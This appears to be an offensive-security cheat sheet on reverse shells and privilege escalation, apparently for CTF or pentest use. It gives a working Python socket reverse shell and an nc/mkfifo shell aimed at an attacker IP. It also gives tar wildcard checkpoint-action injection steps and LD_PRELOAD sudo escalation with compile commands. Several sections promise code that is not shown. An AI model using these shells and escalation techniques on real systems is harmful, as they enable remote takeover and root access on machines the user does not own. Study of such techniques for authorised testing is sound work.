Reverse shells 👾

  • python

#!/usr/bin/python3  
from os import dup2  
from subprocess import run  
import socket  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect(("LOCAL_IP",1234))   
dup2(s.fileno(),0)   
dup2(s.fileno(),1)   
dup2(s.fileno(),2)   
run(["/bin/bash","-i"])

  • OS

import os

def choice(a):

	os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP_ATTCK PORT>/tmp/f")

  • Generic shell:


  • How to stabilise a shell:


  • Python


  • Bash


  • If you see that running sudo -l someone is using a wildcard like:

  • Run the following:

  • Which gives us the exploit:

  • Steps:

    1. Copy the reverse shell on the remote host

    2. Run the action when the checkpoint is reached: echo "" > "--checkpoint-action=exec=sh shell.sh"

    3. Show progress message every record: echo "" > --checkpoint=1

    4. Set up a listener on your local machine



  • For Windows IIS, create an .aspx shell:


  • Remember changing the ip and port

  • To execute it, create a .bat file on your system and upload it to the victim's machine. The .bat must contain this:


  • If you have a web shell, you can obtain a bash one using this php command:

  • Also, if the php script has a regex, you can encode to base64 a netcat shell like:


  • c code to spawn a root shell:

    • Note: it is only available when executing sudo -l gives this: Matching Defaults entries for webdeveloper on sky: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD or similar `

  • Then, compile it using gcc into a shared object file using the following parameters: gcc -fPIC -shared -o shell.so shell.c -nostartfiles

  • we need to run the program by specifying the LD_PRELOAD option, as follows: sudo LD_PRELOAD=/tmp/shell.so sky_backup_utility

    • Note that the sky_backup_utility is the command that the user can run as root

Last updated